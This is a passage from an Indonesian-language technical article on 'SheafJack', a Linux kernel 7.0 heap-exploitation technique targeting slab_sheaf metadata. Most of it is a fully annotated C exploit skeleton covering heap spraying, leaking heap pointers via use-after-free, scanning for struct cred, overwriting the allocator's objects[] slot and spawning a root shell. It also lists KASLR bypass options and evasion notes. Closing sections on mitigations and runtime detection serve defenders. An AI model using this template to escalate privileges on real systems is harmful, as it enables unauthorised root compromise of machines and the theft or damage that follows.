 * struct pipe_buffer { struct page *page; unsigned int offset; ... }
 * page ptr = 0xFFFFEA0000000000 + pfn*64 (tata letak vmemmap)     */
unsigned long ptr_page = oob_read_qword(OFFSET_PIPE_BUFFER_PAGE);
if (!is_kptr(ptr_page)) goto retry;

/* Konversi page ptr ke virtual heap address */
unsigned long virt_heap = konversi_page_ptr_ke_heap(ptr_page);
unsigned long sheaf_addr = temukan_sheaf_aktif(virt_heap, 128);
```

8.4 Teknik 4: Bocoran Kernel Pointer msg_msg list_head

C — msg_msg.m_list.next sebagai bocoran heap pointer

```
/* struct msg_msg { struct list_head m_list; long m_type; size_t m_ts; ... }
 * m_list.next menunjuk ke msg_msg berikutnya dalam antrian, ATAU ke
 * queue head (msg_queue.q_messages — sebuah kernel heap address).
 * Setelah UAF pada msg_msg, m_list.next masih merupakan valid kernel ptr. */

int qid = msgget(IPC_PRIVATE, 0600|IPC_CREAT);
struct { long mt; char b[48]; } m1={.mt=1}, m2={.mt=2};
msgsnd(qid, &m1, 48, 0);
msgsnd(qid, &m2, 48, 0);

/* Picu UAF pada msg_msg #1 via bug, kemudian baca: */
unsigned long next_ptr   = uaf_read_qword(0);   /* m_list.next */
if (!is_kptr(next_ptr)) goto retry;
unsigned long heap_base  = next_ptr & ~(unsigned long)0xFFFF;
```

```
  unsigned long sheaf_addr = temukan_sheaf_aktif(heap_base, 128);
```

9 KASLR Bypass — Kapan Diperlukan?

Keunggulan kunci SheafJack V1: untuk skenario exploitasi paling umum — overwrite `cred.uid` untuk mendapat root — **KASLR bypass tidak diperlukan**. Target adalah heap address, bukan kernel text address. Heap address didapat via teknik info leak di §8.

9.1 Keputusan Berdasarkan Skenario

Skenario	KASLR Bypass Diperlukan?	Alasan
V1 + overwrite cred.uid=0	**TIDAK DIPERLUKAN**	Target adalah heap address (struct cred). Heap leak dari §8 sudah cukup.
V1 + overwrite cred.cap_inheritable	**TIDAK DIPERLUKAN**	Semua field capability adalah heap address.
V1 + overwrite modprobe_path	**DIPERLUKAN**	modprobe_path adalah global variable di section kernel .data.
V1 + overwrite function pointer	**DIPERLUKAN**	Function pointer menunjuk ke kernel text — butuh KASLR slide.
V2 + type confusion ke cred_jar	**MUNGKIN**	Butuh pointer kmem_cache cred_jar — bisa dari heap scan atau KASLR.
V3 + injeksi fake sheaf	**SITUASIONAL**	Bergantung pada apa yang ditunjuk fake sheaf.objects[].
V1 + ROP chain	**DIPERLUKAN**	Semua gadget ROP membutuhkan pengetahuan tentang kernel text base.

9.2 Teknik KASLR Bypass yang Kompatibel di K7

Teknik	Deskripsi	Catatan Praktis
FineIBT documented bypass hole	Spec FineIBT mendokumentasikan bypass path yang masih ada di K7. Indirect jump yang dibuat khusus ke target non-landing-pad bisa skip verifikasi IBT.	Lihat L2-1 (KASLR & IBT Bypass) untuk detail
Overwrite modprobe_path	Tulis path yang dikontrol attacker ke global var modprobe_path. Picu eksekusi binary tak dikenal → kernel jalankan script sebagai root.	TIDAK butuh kernel text address. Masih bekerja di K7.
/proc/kallsyms	Mengungkap semua alamat simbol jika kptr_restrict=0.	Lab dan production yang salah konfigurasi saja.
sheaf.cache sebagai KASLR oracle	Baca sheaf->cache (kernel pointer kmem_cache*). Offset dari kmalloc_caches[] ke _stext konstan per build → slide = runtime - offset_compile.	Membutuhkan primitif arb_read64.

vDSO slide leak	/proc/self/maps menampilkan base vDSO runtime. KASLR slide = vDSO_runtime - vDSO_offset_compile. Tanpa privilege.	Bekerja tanpa write primitive apapun.
Gadget Spectre-v1	Beberapa code path K7 masih berisi gadget Spectre-v1 yang exploitable untuk side-channel leak teks kernel.	Lambat (~100ms) tapi tidak butuh write primitive.

10 Full Exploit Template SheafJack — 6 Phase

Skeleton exploit beranotasi lengkap menggunakan Attack Vector V1 (overwrite slot objects[] → cred.uid=0 → root). Fungsi placeholder harus diganti dengan primitif spesifik dari kerentanan yang diexploitasi.

Yang TIDAK Diperlukan Template Ini
✗ Timing side-channel / oracle loop (berbeda dengan SLUBStick)
✗ Iterasi decode XOR
✗ KASLR bypass (untuk target overwrite cred.uid)
✗ Page-level fengshui cross-cache (berbeda dengan cross-cache attack)
✗ Pengetahuan tentang alamat kernel text

C — sheafjack_full.c (skeleton 6-phase beranotasi lengkap)

```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <stdbool.h>
#include <sys/msg.h>
#include <sys/mman.h>

/* ================================================================
 * PRIMITIF — ganti dengan implementasi spesifik bug Anda
 * ================================================================ */
unsigned long arb_read64(unsigned long addr);    /* baca kernel sembarang  */
unsigned int  arb_read32(unsigned long addr);    /* baca kernel sembarang  */
void          oob_write64(unsigned long a, unsigned long v); /* OOB write  */
unsigned long uaf_read64(unsigned long offset);  /* UAF read freed obj     */

/* ================================================================
 * HELPER
 * ================================================================ */
static inline bool adalah_kptr(unsigned long p) { return (p >> 48) == 0xFFFF; }

static void pin_cpu0() {
    cpu_set_t s; CPU_ZERO(&s); CPU_SET(0, &s);
    if (sched_setaffinity(0, sizeof(s), &s) < 0) perror("affinity");
}

/* ================================================================
 * GLOBAL
 * ================================================================ */
static unsigned long g_heap_base  = 0;
static unsigned long g_sheaf_addr = 0;
static unsigned long g_cred_addr  = 0;
static int g_qids[128];

/* ================================================================
 * PHASE 1 — Spray Heap: kmalloc-128 via msg_msg
 * Tujuan: pastikan ada slab_sheaf aktif untuk kmalloc-128 dengan
 *         beberapa freed object (partial sheaf) — lebih mudah ditemukan.
 * ================================================================ */
```

```
static void phase1_spray() {
    printf("[*] Phase 1: Spray
");
    for (int i = 0; i < 80; i++) {
        g_qids[i] = msgget(IPC_PRIVATE, 0600|IPC_CREAT);
        if (g_qids[i] < 0) { perror("msgget"); exit(1); }
        struct { long mt; char b[120]; } m;
        m.mt = i + 1;
        memset(m.b, 0x41 + (i % 26), 120);
        msgsnd(g_qids[i], &m, 120, 0);
    }
    /* Free 10: kembali ke objects[] di active slab_sheaf
     * Membuat partial sheaf dan meninggalkan stale heap pointer
     * yang bisa dibaca via UAF jika bug terpicu pada objek tersebut. */
    for (int i = 0; i < 10; i++) {
        struct { long mt; char b[120]; } m;
        msgrcv(g_qids[i], &m, 120, 0, 0);
    }
    printf("[+] Spray 80 objek, free 10 → partial slab_sheaf
");
}

/* ================================================================
 * PHASE 2 — Info Leak: heap base via UAF read pada freed object
 * Di K7 freed object berisi raw heap pointer (tidak ada XOR encoding).
 * ================================================================ */
static void phase2_leak() {
    printf("[*] Phase 2: Info leak
");
    unsigned long bocoran = uaf_read64(0);
    printf("[*] Nilai UAF yang bocor: 0x%lx
", bocoran);
    if (!adalah_kptr(bocoran)) {
        fprintf(stderr, "[-] Nilai bocoran bukan kernel pointer.
");
        fprintf(stderr, "[-] Periksa offset primitif UAF read.
");
        exit(1);
    }
    g_heap_base = bocoran & ~(unsigned long)0xFFFF;
    printf("[+] Estimasi heap_base: 0x%lx
", g_heap_base);
}

/* ================================================================
 * PHASE 3 — Temukan active slab_sheaf via heap scan
 * ================================================================ */
static void phase3_temukan_sheaf() {
    printf("[*] Phase 3: Scan untuk slab_sheaf
");
    for (unsigned long off = 0; off < 0x100000; off += 0x40) {
        unsigned long a   = g_heap_base + off;
        unsigned int  cap = arb_read32(a);
        unsigned int  sz  = arb_read32(a + 0x04);
        if (cap < 4 || cap > 64)            continue;
        if (sz == 0 || sz > cap)            continue;
        if (!adalah_kptr(arb_read64(a + 0x08)))  continue;
        if (!adalah_kptr(arb_read64(a + 0x18)))  continue;
        if (!adalah_kptr(arb_read64(a + 0x20)))  continue;
        g_sheaf_addr = a;
        printf("[+] slab_sheaf @ 0x%lx  (cap=%u  sz=%u)
", a, cap, sz);
        return;
    }
    fprintf(stderr, "[-] slab_sheaf tidak ditemukan. Coba: perluas range scan,
");
    fprintf(stderr, "    offset heap_base berbeda, lebih banyak spray objek.
");
    exit(1);
}

/* ================================================================
 * PHASE 4 — Temukan struct cred untuk proses saat ini
 * Layout struct cred (K7, perkiraan):
 *   +0x00: usage (atomic_t)
 *   +0x04: uid   (kuid_t = unsigned int)
 *   +0x08: gid
 *   +0x0C: suid,  +0x10: sgid
```

```
 *   +0x14: euid,  +0x18: egid
 *   +0x1C: fsuid, +0x20: fsgid
 *   ... securebits, capabilities, keys, lsm blob ...
 * ============================================================ */
static void phase4_temukan_cred() {
    printf("[*] Phase 4: Scan untuk struct cred
");
    unsigned int uid = getuid();
    unsigned int gid = getgid();
    for (unsigned long off = 0; off < 0x200000; off += 8) {
        unsigned long a = g_heap_base - 0x100000 + off;
        /* Cocokkan uid, gid, suid, euid — 4 nilai sekaligus = sinyal kuat */
        if (arb_read32(a + 0x04) != uid)  continue;
        if (arb_read32(a + 0x08) != gid)  continue;
        if (arb_read32(a + 0x0C) != uid)  continue;  /* suid */
        if (arb_read32(a + 0x14) != uid)  continue;  /* euid */
        g_cred_addr = a;
        printf("[+] struct cred @ 0x%lx  (uid=%u gid=%u)
", a, uid, gid);
        return;
    }
    fprintf(stderr, "[-] cred tidak ditemukan. Perluas range scan atau perbaiki offset.
");
    exit(1);
}

/* ============================================================
 * PHASE 5 — Injeksi SheafJack V1
 * Overwrite objects[size-1] dengan &cred->uid.
 * ============================================================ */
static int phase5_inject() {
    printf("[*] Phase 5: Injeksi SheafJack V1
");
    pin_cpu0();   /* meminimisasi race window preemption */

    unsigned int  sz      = arb_read32(g_sheaf_addr + 0x04);
    if (sz == 0) {
        fprintf(stderr, "[-] sheaf.size=0: sheaf kosong, tidak bisa inject
");
        return -1;
    }

    unsigned long slot_off = 0x20 + (sz - 1) * 8;
    unsigned long target   = g_cred_addr + 0x04;  /* &cred->uid */

    printf("[*] sheaf.size=%u → slot @ sheaf+0x%lx  target=0x%lx
",
           sz, slot_off, target);

    /* DIRECT WRITE — tanpa XOR, tanpa encoding */
    oob_write64(g_sheaf_addr + slot_off, target);

    /* Verifikasi: jika CPU lain mengkonsumsi slot antara baca-sz dan tulis,
     * nilainya akan berbeda. Retry dari phase3 jika verifikasi gagal.  */
    unsigned long cek = arb_read64(g_sheaf_addr + slot_off);
    if (cek != target) {
        fprintf(stderr, "[-] Verifikasi gagal (got=0x%lx) — race slot
", cek);
        return -1;
    }
    printf("[+] Terverifikasi: objects[%u] = &cred->uid = 0x%lx
", sz-1, target);
    return 0;
}

/* ============================================================
 * PHASE 6 — Picu Alokasi dan Tulis uid=0
 * msgsnd menyebabkan kmalloc(128) → kernel mendapat &cred->uid sebagai buffer.
 * Kernel meng-copy zero payload kita KE &cred->uid.
 * Hasil: cred->uid=0, cred->gid=0, cred->euid=0, ... → root.
 * ============================================================ */
static void phase6_picu_dan_pwn() {
    printf("[*] Phase 6: Picu alokasi → tulis uid=0
");
    int q = msgget(IPC_PRIVATE, 0600|IPC_CREAT);
    struct { long mt; char b[120]; } m = {.mt = 1};
```

```
    memset(m.b, 0, 120);  /* zero payload: uid=0, gid=0, euid=0, ... */
    msgsnd(q, &m, 120, 0);
    printf("[*] msgsnd terpicu — mengecek uid...
");
}

/* ================================================================
 * MAIN — retry loop untuk toleransi race
 * ================================================================ */
int main(int argc, char **argv) {
    setbuf(stdout, NULL);
    printf("SheafJack — Pembajakan Alokasi Linux Kernel 7.0
");
    printf("pid=%d  uid=%d  gid=%d


", getpid(), getuid(), getgid());

    for (int percobaan = 0; percobaan < 5 && getuid() != 0; percobaan++) {
        if (percobaan > 0) printf("
[*] Percobaan %d/5
", percobaan + 1);

        phase1_spray();
        phase2_leak();
        phase3_temukan_sheaf();
        phase4_temukan_cred();

        if (phase5_inject() < 0) {
            printf("[*] Injeksi gagal — retry dari phase3
");
            phase3_temukan_sheaf();
            if (phase5_inject() < 0) continue;
        }

        phase6_picu_dan_pwn();
    }

    if (getuid() == 0) {
        printf("[+] ROOT! uid=%u
", getuid());
        execve("/bin/bash", (char*[]){"/bin/bash", "-p", NULL},
               (char*[]){"PATH=/usr/bin:/bin", "TERM=xterm", NULL});
        perror("execve");
    } else {
        fprintf(stderr, "[-] Exploit gagal — uid=%u setelah 5 percobaan
",
                getuid());
        fprintf(stderr, "[-] Kemungkinan penyebab:
");
        fprintf(stderr, "    - Primitif bug tidak cukup stabil
");
        fprintf(stderr, "    - Range scan slab_sheaf terlalu sempit
");
        fprintf(stderr, "    - Range/offset scan cred tidak cocok
");
        fprintf(stderr, "    - Kernel dikompilasi dengan CONFIG_INIT_ON_FREE
");
    }
    return 1;
}
```

11 Perbandingan dengan Teknik Lain

Teknik	Kernel	Primitif Inti	Butuh Infoleak	Butuh KASLR	Iterasi	Est. Success
SLUBStick	5.x–6.x	Timing side-channel oracle	**Tidak**	**Tidak**	**100–500+**	65–80%
DirtyCred	5.x–6.x	Credential swap via UAF	**Tidak**	**Tidak**	**Tidak**	~90%
Page-UAF(#71)	5.x–6.x	Bridge obj page ptr abuse	**Tidak**	**Tidak**	**Tidak**	90–100%
SheafJack V1	7.0+	objects[] direct overwrite	**YA**	**Tidak(cred)**	**0**	~85–95%
SheafJack V2	7.0+	cache ptr type confusion	**YA**	**Mungkin**	**0**	~70–85%
SheafJack V3	7.0+	node_barn cross-CPU race	**YA**	**Sit.**	**Race**	~50–70%
Catatan tentang estimasi success rate						
Ingat ini hanya estimasi !						

11.1 Hubungan dengan Page-UAF (Phrack #71)

SheafJack dan teknik Page-UAF (Zhou et al., Phrack Issue 71) menyerang di level abstraksi berbeda dan **saling melengkapi, bukan bersaing**

- **Page-UAF** menyerang di **level physical page** via bridge objects (pointer `struct page *` di `pipe_buffer`). Bekerja di kernel 5.x dan 6.x. Primitif intinya adalah mengontrol physical page mana yang di-alias oleh variabel kernel.
- **SheafJack** menyerang di **level jalur alokasi slab** via flat array `objects[]`. Spesifik K7+ karena `slab_sheaf` tidak ada di K6. Primitif intinya adalah mengontrol virtual address kernel mana yang dikembalikan oleh `kmalloc()` berikutnya.
- **Rantai kombinasi:** Gunakan Page-UAF untuk membangun primitif UAF yang memberikan akses ke freed slab object → gunakan SheafJack V1 untuk menginjeksikan target alokasi terkontrol. Page-UAF menyediakan primitif awal; SheafJack mengkonversinya menjadi arbitrary cred write.

12 Analisis Reliabilitas dan Success Rate

12.1 Faktor Positif (Meningkatkan Reliabilitas)

- **Tidak ada encoding:** Satu direct write langsung bekerja. Tidak butuh loop decode, tidak butuh kalibrasi timing.
- **LIFO deterministik:** `objects[size-1]` selalu menjadi slot berikutnya yang diambil. Tidak ada randomness dalam slot mana yang dikonsumsi.
- **Heap address sudah cukup:** KASLR bypass tidak diperlukan untuk overwrite cred. Heap leak dari §8 sudah lengkap.
- **Bisa diverifikasi sebelum trigger:** Setelah injeksi, `arb_read64(sheaf + slot_off)` mengkonfirmasi overwrite sebelum alokasi dipicu. Mengeliminasi tembakan buta.
- **Retry tanpa crash:** Jika race menyebabkan miss, scan ulang sheaf dan inject ulang. Tidak ada kernel panic yang dipicu oleh injeksi yang gagal.
- **Overwrite multi-slot:** Overwrite objects[n], objects[n-1], objects[n-2] sekaligus (jika primitif memungkinkan) mengeliminasi race window sepenuhnya.

12.2 Faktor Risiko (Mengurangi Reliabilitas)

- **Race window:** Preemption CPU antara baca-size dan tulis-slot bisa menyebabkan slot dikonsumsi thread lain. Mitigasi dengan CPU pin.
- **Rotasi sheaf:** Kernel bisa swap main/spare sheaf antara dua operasi. Scan ulang jika verifikasi injeksi gagal.
- **CONFIG_INIT_ON_FREE:** Melakukan zero pada freed objects, menghapus stale pointer di objects[]. Menyulitkan Teknik 8.1 tapi tidak mencegah V1 setelah sheaf ditemukan.
- **KASAN / KFENCE:** Mendeteksi OOB write di debug build. Tidak ada di production kernel. Bukan hambatan praktis untuk target dunia nyata.
- **Lokasi sheaf yang dinamis:** slab_sheaf dialokasikan secara dinamis. Scan harus mencakup range yang cukup. Jika scan gagal, perlu lebih banyak spray.

12.3 Ringkasan Statistik

Metrik	SheafJack V1	SheafJack V2	SheafJack V3
Estimasi success rate	~85–95%	~70–85%	~50–70%
Operasi write diperlukan	1 (terverifikasi)	1	Banyak (race)
Iterasi oracle diperlukan	0	0	0
KASLR diperlukan (cred)	Tidak	Mungkin	Situasional
Noise audit log	Rendah	Rendah	Tinggi
Versi kernel diperlukan	7.0+	7.0+	7.0+

13 Mitigasi dan Deteksi

13.1 Mitigasi K7 yang Sudah Ada — Efektivitas vs SheafJack

Mitigasi	Yang Dilindungi	Efektivitas vs SheafJack
CONFIG_SLAB_FREELIST_HARDENED	XOR-encoded freelist (struktur K6)	**TIDAK RELEVAN — freelist chain tidak ada di K7**
CONFIG_SLAB_FREELIST_RANDOM	Ordering freelist yang predictable	**PARSIAL — merandominasi order objects[] saat sheaf diisi; LIFO deterministik setelah itu**
KASAN	Akses OOB, use-after-free	**EFEKTIF — hanya di debug/testing build**
KFENCE	Deteksi OOB dan UAF probabilistik	**PARSIAL — hanya sebagian kecil alokasi yang dilindungi**
ML-DSA module signing (K7)	Loading modul kernel yang tidak dipercaya	**TIDAK RELEVAN — load-time modul, bukan runtime heap**
CONFIG_INIT_ON_FREE	Info leak dari freed memory	**PARSIAL — memperkuat Teknik 8.1 tapi tidak mencegah V1 setelah sheaf ditemukan**
BPF SELinux token (K7)	Eksekusi program BPF tanpa privilege	**TIDAK RELEVAN — tidak terkait exploitasi slab_sheaf**
FineIBT (K7)	Penegakan target indirect branch	**PARSIAL — melindungi rantai ROP; tidak melindungi overwrite metadata slab**

13.2 Mitigasi yang Disarankan dan Akan Efektif

11. **Encode pointer objects[]** — terapkan XOR encoding per sheaf (kunci random × alamat slot), analog dengan K6 SLAB_FREELIST_HARDENED. Ini akan mengharuskan attacker terlebih dahulu memulihkan kunci per-sheaf, meningkatkan kompleksitas secara drastis. Estimasi overhead: 2–3 ns per alloc/free di hardware modern.
12. **Guard page / isolasi metadata** — alokasikan struct `slab_sheaf` di region dedikasi dengan guard page yang memisahkannya dari slab object page. OOB write dari objek akan trigger page fault sebelum mencapai metadata sheaf. Trade-off: overhead memori meningkat, kemungkinan TLB pressure.
13. **Validasi cache pointer di refill_sheaf()** — sebelum menggunakan `sheaf->cache`, verifikasi bahwa ia cocok dengan cache yang memiliki sheaf. Mengeliminasi type confusion V2 dengan overhead mendekati nol (satu pointer comparison).
14. **Ganti data_race(nr_empty) dengan READ_ONCE()** di `barn_get_empty_sheaf()` — mengeliminasi race window V3 dengan dampak performa minimal. Optimisasi data_race() asli sangat marginal; atomic read tidak akan menurunkan throughput allocator secara terukur.
15. **Canary di header slab_sheaf** — simpan nilai random per-sheaf di `+0x00` (sebelum capacity), diverifikasi sebelum setiap akses `objects[]`. Mendeteksi korupsi OOB dari objek adjacent. Overhead: 1 comparasi per alloc/free.

13.3 Strategi Deteksi Runtime

- **eBPF kprobe pada slab_alloc_node():** Monitor alokasi yang return address-nya jatuh di luar slab page manapun yang dikelola oleh cache pemilik. Return address yang mendarat di area cred, stack, atau kernel data section dari panggilan kmalloc-128 adalah sinyal kuat SheafJack V1.
- **Analisis urutan syscall:** Fingerprint SheafJack V1 adalah: pola spray berat (banyak `msgget` + `msgsnd`), diikuti `msgsnd` anomali yang alokasi msg_msg-nya mengalamatkan target object (cred, file table) daripada region heap normal.
- **Scan integritas heap periodik:** Thread background kernel yang memverifikasi semua entri `slab_sheaf.objects[]` jatuh dalam slab page yang dikelola oleh cache pemiliknya. Pointer di luar range ini mengindikasikan korupsi sheaf.
- **KCSAN dengan audit data_race():** Mengaktifkan KCSAN pada akses `barn->nr_empty` (menghapus supresi `data_race()`) akan mendeteksi percobaan race V3 selama fuzzing dan testing.